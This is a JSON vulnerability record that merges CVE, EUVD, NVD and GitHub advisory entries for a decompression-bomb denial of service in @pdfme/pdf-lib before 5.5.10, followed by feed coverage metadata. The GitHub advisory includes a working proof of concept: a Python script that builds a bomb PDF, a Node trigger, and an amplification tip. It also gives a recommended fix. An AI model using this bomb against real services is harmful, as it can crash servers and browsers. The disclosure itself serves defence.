{"id":"GHSA-vrqm-gvq7-rrwh","revision":null,"records":[{"revision":"1a0548e7b9ab4f69bc9f52b7763699ad","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-82864","aliases":[],"title":"pdfme pdf-lib before 5.5.10 Denial of Service via Decompression Bomb","description":"pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.","state":0,"publishedAt":"2026-08-31T08:46:35.269+00:00","modifiedAt":"2026-10-08T15:25:39.287+00:00","affected":[{"ecosystem":"Vendor product","name":"pdf-lib","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"pdfme\",\n                    \"product\": \"pdf-lib\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/%40pdfme/pdf-lib\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"5.5.10\"\n                        },\n                        {\n                            \"version\": \"5.5.10\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh","https://www.vulncheck.com/advisories/pdfme-pdf-lib-before-5.5.10-denial-of-service-via-decompression-bomb"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-82864","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-82864","identifiers":["CVE-2026-82864"]},"retained":false,"historicalAffected":[]},{"revision":"4fba00255c0b4450a3d69883fb483c42","observedAt":"2026-11-09T16:04:59.304+00:00","statement":{"source":"euvd","id":"EUVD-2026-68399","aliases":["CVE-2026-82864","GHSA-gvgq-37w5-4f8q"],"title":"pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing…","description":"pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":null}],"references":["https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh","https://www.vulncheck.com/advisories/pdfme-pdf-lib-before-5.5.10-denial-of-service-via-decompression-bomb"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-68399","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 31, 2026, 8:46:35 AM","dateUpdated":"Oct 8, 2026, 3:25:39 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-68399","identifiers":["EUVD-2026-68399","CVE-2026-82864","GHSA-gvgq-37w5-4f8q"]},"retained":false,"historicalAffected":[]},{"revision":"46ae768c966c4cde86b7c657b56992b3","observedAt":"2026-10-25T16:19:10.271+00:00","statement":{"source":"nvd","id":"CVE-2026-82864","aliases":[],"title":"pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing…","description":"pdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.","state":0,"publishedAt":"2026-08-31T09:17:06.957+00:00","modifiedAt":"2026-10-08T16:17:53.423+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh","https://www.vulncheck.com/advisories/pdfme-pdf-lib-before-5.5.10-denial-of-service-via-decompression-bomb"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82864","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-409"],"productCriteria":[],"sourceDates":{"published":"2026-08-31T09:17:06.957","lastModified":"2026-10-08T16:17:53.423"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-82864","identifiers":["CVE-2026-82864"]},"retained":false,"historicalAffected":[]},{"revision":"8cf64ce37d754d07b537bb1da6b507ce","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-vrqm-gvq7-rrwh","aliases":["CVE-2026-82864"],"title":"PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS","description":"## Summary\n\nThe `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.\n\n## Details\n\nThe vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).\n\n**Unbounded buffer growth in `ensureBuffer()`** — `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:\n\n```typescript\nprotected ensureBuffer(requested: number) {\n  const buffer = this.buffer;\n  if (requested <= buffer.byteLength) {\n    return buffer;\n  }\n  let size = this.minBufferLength;\n  while (size < requested) {\n    size *= 2;  // Doubles with no upper bound\n  }\n  const buffer2 = new Uint8Array(size);  // Allocates without limit\n  buffer2.set(buffer);\n  return (this.buffer = buffer2);\n}\n```\n\nThe `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.\n\n**Unconditional full decompression in `decode()`** — `DecodeStream.ts:139-141`:\n\n```typescript\ndecode(): Uint8Array {\n  while (!this.eof) this.readBlock();  // Fully decompresses before returning\n  return this.buffer.subarray(0, this.bufferLength);\n}\n```\n\n**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression — `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:\n\n```typescript\nif (pos + 1 >= limit) {\n  buffer = this.ensureBuffer(pos + 1);\n  limit = buffer.length;\n}\n```\n\nAnd again at line 297-300:\n\n```typescript\nif (pos + len >= limit) {\n  buffer = this.ensureBuffer(pos + len);\n  limit = buffer.length;\n}\n```\n\n**Entry point via `basePdf`** — `packages/generator/src/helper.ts:42-43`:\n\n```typescript\nconst willLoadPdf = await getB64BasePdf(basePdf);\nconst embedPdf = await PDFDocument.load(willLoadPdf);\n```\n\nThe `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` → `DecodeStream` with no size limits.\n\nThe same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.\n\n## PoC\n\n**Step 1: Create a decompression bomb PDF**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate a PDF decompression bomb for PoC.\"\"\"\nimport zlib\nimport struct\n\n# Create highly compressible data: 100MB of null bytes\n# compresses to ~100KB (~1000:1 ratio)\nuncompressed = b'\\x00' * (100 * 1024 * 1024)  # 100 MB\ncompressed = zlib.compress(uncompressed, 9)\n\n# Minimal PDF structure with FlateDecode stream\npdf = b\"\"\"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n\n2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n\n3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\n   /Contents 4 0 R >>\nendobj\n\n4 0 obj\n<< /Filter /FlateDecode /Length \"\"\" + str(len(compressed)).encode() + b\"\"\" >>\nstream\n\"\"\" + compressed + b\"\"\"\nendstream\nendobj\n\nxref\n0 5\n\"\"\"\n# Write proper xref (simplified for PoC)\nwith open(\"bomb.pdf\", \"wb\") as f:\n    f.write(pdf)\n    f.write(b\"trailer << /Size 5 /Root 1 0 R >>\\nstartxref\\n0\\n%%EOF\\n\")\n\nprint(f\"Compressed size: {len(compressed)} bytes\")\nprint(f\"Decompressed size: {len(uncompressed)} bytes\")\nprint(f\"Ratio: {len(uncompressed)/len(compressed):.0f}:1\")\n```\n\n**Step 2: Trigger via @pdfme/generator**\n\n```javascript\nconst { generate } = require('@pdfme/generator');\nconst fs = require('fs');\n\nconst bombPdf = fs.readFileSync('bomb.pdf');\n\n// This will cause unbounded memory allocation during PDF parsing\ngenerate({\n  template: {\n    basePdf: bombPdf,  // Attacker-controlled input\n    schemas: [[]],\n  },\n  inputs: [{}],\n  plugins: {},\n}).catch(err => console.error('OOM or crash:', err.message));\n```\n\n**Step 3: Observe memory exhaustion**\n\n```bash\n# Monitor memory usage — the Node.js process will consume all available memory\n# and either crash with a heap allocation failure or be OOM-killed\nnode --max-old-space-size=512 trigger.js\n# Expected: \"FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory\"\n```\n\nFor higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.\n\n## Impact\n\n- **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.\n- **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.\n- **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.\n- **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter — no elevated privileges are needed.\n\n## Recommended Fix\n\nAdd a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`:\n\n```typescript\nconst MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB\n\nclass DecodeStream implements StreamType {\n  // ... existing fields ...\n\n  protected ensureBuffer(requested: number) {\n    const buffer = this.buffer;\n    if (requested <= buffer.byteLength) {\n      return buffer;\n    }\n\n    if (requested > MAX_DECODED_SIZE) {\n      throw new Error(\n        `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +\n        `This may indicate a decompression bomb.`\n      );\n    }\n\n    let size = this.minBufferLength;\n    while (size < requested) {\n      size *= 2;\n    }\n\n    // Cap the allocation even if the doubling overshoots\n    if (size > MAX_DECODED_SIZE) {\n      size = MAX_DECODED_SIZE;\n    }\n\n    const buffer2 = new Uint8Array(size);\n    buffer2.set(buffer);\n    return (this.buffer = buffer2);\n  }\n}\n```\n\nOptionally, expose the limit via `PDFDocument.load()` options so consumers can tune it:\n\n```typescript\n// In LoadOptions interface:\ninterface LoadOptions {\n  // ... existing options ...\n  maxDecodedStreamSize?: number; // Default: 100 MB\n}\n```","state":0,"publishedAt":"2026-03-20T20:44:52+00:00","modifiedAt":"2026-09-01T03:55:43.6568293+00:00","affected":[{"ecosystem":"npm","name":"@pdfme/pdf-lib","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.5.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh","https://github.com/pdfme/pdfme"],"sourceUrl":"https://github.com/advisories/GHSA-vrqm-gvq7-rrwh","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vrqm-gvq7-rrwh","identifiers":["GHSA-vrqm-gvq7-rrwh","CVE-2026-82864"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T18:23:45.7727801+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T18:23:45.7727801+00:00","lastSuccessAt":"2026-11-10T18:23:45.9579119+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.9579152+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-d220ab899e0e1c49e43094274f562c18c4a19b03898aec3feae1debdd31f6756","complete":true,"records":422212,"lastAttemptAt":"2026-11-10T18:21:27.6685178+00:00","lastSuccessAt":"2026-11-10T18:21:27.4920545+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:21:27.6685178+00:00","snapshotPublishedAt":"2026-11-10T17:27:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-acbb624a79c244aa868394151a25f053","complete":true,"records":13704,"lastAttemptAt":"2026-11-10T18:24:12.0072206+00:00","lastSuccessAt":"2026-11-10T18:24:12.001+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:12.001+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T18:23:45.7727801+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T18:23:45.7727801+00:00","lastSuccessAt":"2026-11-10T18:23:45.9591411+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.9591459+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4459456b8f8c43778c308d7de0a43211","complete":true,"records":13710,"lastAttemptAt":"2026-11-10T18:24:11.1447617+00:00","lastSuccessAt":"2026-11-10T18:24:11.141+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:11.141+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-50a085e5b7a5d1546eabdb7e52fab85d658afa8554d3cf95a0891c49d83f2979","complete":true,"records":9935,"lastAttemptAt":"2026-11-10T18:23:45.7142755+00:00","lastSuccessAt":"2026-11-10T16:25:20.0114252+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.7142755+00:00","snapshotPublishedAt":"2026-11-10T16:18:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T18:21:27.7170016+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:21:27.7170016+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-df497239f2f75af38e095cb498791dad4044a8a9a7f5f0ee6008bb732579ab9d","complete":true,"records":3081,"lastAttemptAt":"2026-11-10T18:23:45.7340645+00:00","lastSuccessAt":"2026-11-10T14:21:34.3717399+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.7340645+00:00","snapshotPublishedAt":"2026-11-10T14:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5bab1d7e68ac802e78d67f5b951f7bcace0c45048e98b39b73b18376172e4b36","complete":true,"records":231619,"lastAttemptAt":"2026-11-10T18:23:45.5819776+00:00","lastSuccessAt":"2026-11-10T18:23:44.1117746+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.5819776+00:00","snapshotPublishedAt":"2026-11-10T17:33:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}